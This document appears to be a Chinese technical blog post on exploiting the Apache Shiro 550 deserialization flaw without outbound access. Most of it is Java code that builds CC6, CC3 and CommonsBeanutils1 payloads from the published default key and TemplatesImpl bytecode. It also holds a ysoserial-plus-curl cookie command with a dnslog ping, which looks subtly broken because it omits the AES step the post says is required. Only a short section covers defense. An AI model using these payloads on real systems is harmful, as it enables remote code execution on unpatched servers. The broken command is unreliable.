Apache Shiro 550漏洞深度解析:3种不出网利用链(CC6/CC3/CB1)构造与对比
📅 2026/7/9 16:02:56
👁️ 阅读次数
📝 编程学习
Apache Shiro 550漏洞不出网利用链全景解析:CC6/CC3/CB1构造与实战对比
在Java安全领域,Apache Shiro的反序列化漏洞(CVE-2016-4437)堪称经典。当目标环境不出网时,如何有效利用这个漏洞成为安全工程师面临的核心挑战。本文将深入剖析三种不出网利用链(改造CC6、改造CC3和CB1)的构造原理,提供详细的对比分析,并附上核心Payload片段。
1. Shiro 550漏洞核心机制回顾
Shiro 1.2.4及之前版本存在一个致命的设计缺陷:默认使用硬编码的AES加密密钥(kPH+bIxk5D2deZiIxcaaaA==)对RememberMe Cookie进行加密。攻击者一旦获取该密钥,便可构造恶意的序列化对象实现RCE。
关键限制条件:
- 目标服务器无法出网(无法使用JRMP等外联方式)
- Shiro原生依赖的commons-collections版本为3.2.1
- 反序列化过程中禁止使用数组类型的Transformer(触发ClassNotFoundException)
// 典型Shiro反序列化触发点 byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = new AesCipherService().encrypt(payload, key);2. 不出网利用链构造原理
2.1 改造CC6链:TemplatesImpl动态加载
CC6链的核心优势在于其通用性,通过LazyMap和TiedMapEntry的巧妙组合触发命令执行。在Shiro环境下需要进行以下改造:
// 关键改造点:避免使用Transformer数组 Transformer transformer = new InvokerTransformer("newTransformer", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templatesImpl);构造步骤:
- 使用TemplatesImpl承载恶意字节码
- 通过反射设置
_bytecodes和_name字段 - 构造单Transformer的InvokerTransformer
- 通过TiedMapEntry触发LazyMap.get()
提示:必须清除LazyMap中残留的key,否则无法触发transform调用
2.2 改造CC3链:TrAXFilter实例化
CC3链通过InstantiateTransformer直接实例化TrAXFilter类,其改造要点如下:
Transformer transformer = new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl} ); Map lazyMap = LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); TiedMapEntry entry = new TiedMapEntry(lazyMap, TrAXFilter.class);技术亮点:
- 利用TrAXFilter的构造函数自动调用TemplatesImpl.newTransformer()
- 通过反射动态修改LazyMap的factory属性
- 避免在初始化阶段触发恶意代码
2.3 CB1链:Commons-Beanutils方案
当环境中不存在CC依赖时,Commons-Beanutils 1.x提供的方案成为救命稻草:
Comparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(templatesImpl); queue.add(templatesImpl); // 必须添加两个元素触发比较优势对比:
- 完全不依赖commons-collections
- 使用BeanComparator比较触发getter方法
- 兼容性更广但构造稍复杂
3. 三种利用链横向对比
| 特性 | 改造CC6链 | 改造CC3链 | CB1链 |
|---|---|---|---|
| 依赖要求 | CC 3.2.1 | CC 3.2.1 | Beanutils 1.x |
| 触发方式 | LazyMap.get() | InstantiateTransformer | BeanComparator |
| 代码复杂度 | 中等 | 较高 | 较低 |
| 成功率 | 高 | 中 | 高 |
| 适用场景 | 标准CC环境 | 需要绕过检测 | 无CC依赖环境 |
| Payload大小 | 较大(~3000字节) | 中等(~2500字节) | 较小(~2000字节) |
4. 实战Payload构造示例
4.1 CC6改造链核心代码
public static byte[] buildCC6Payload(byte[] evilCode) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilCode}); setField(templates, "_name", "Pwner"); setField(templates, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null); Map lazyMap = LazyMap.decorate(new HashMap(), transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, templates); HashMap map = new HashMap(); map.put(entry, "xxx"); lazyMap.clear(); setField(transformer, "iMethodName", "newTransformer"); return serialize(map); }4.2 CB1链关键步骤
public static byte[] buildCB1Payload(byte[] evilCode) throws Exception { TemplatesImpl templates = createTemplatesImpl(evilCode); BeanComparator comparator = new BeanComparator("outputProperties"); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(templates); queue.add(templates); return serialize(queue); }5. 防御建议与检测方案
防御措施:
- 立即升级到Shiro 1.2.5+版本
- 自定义
CipherKey并保持机密性 - 禁用RememberMe功能(配置
shiro.rememberMe.enabled=false)
检测方法:
# 使用ysoserial检测漏洞 java -jar ysoserial.jar CommonsBeanutils1 "ping test.dnslog.cn" | \ base64 | awk '{print "rememberMe="$1}' | \ xargs curl -v -X POST --cookie在实际渗透测试中,建议优先尝试CB1链,因其适应性最强。当遇到ClassNotFound异常时,可切换至CC6或CC3方案。记得清除测试产生的临时文件,避免对目标系统造成持久影响。
编程学习
技术分享
实战经验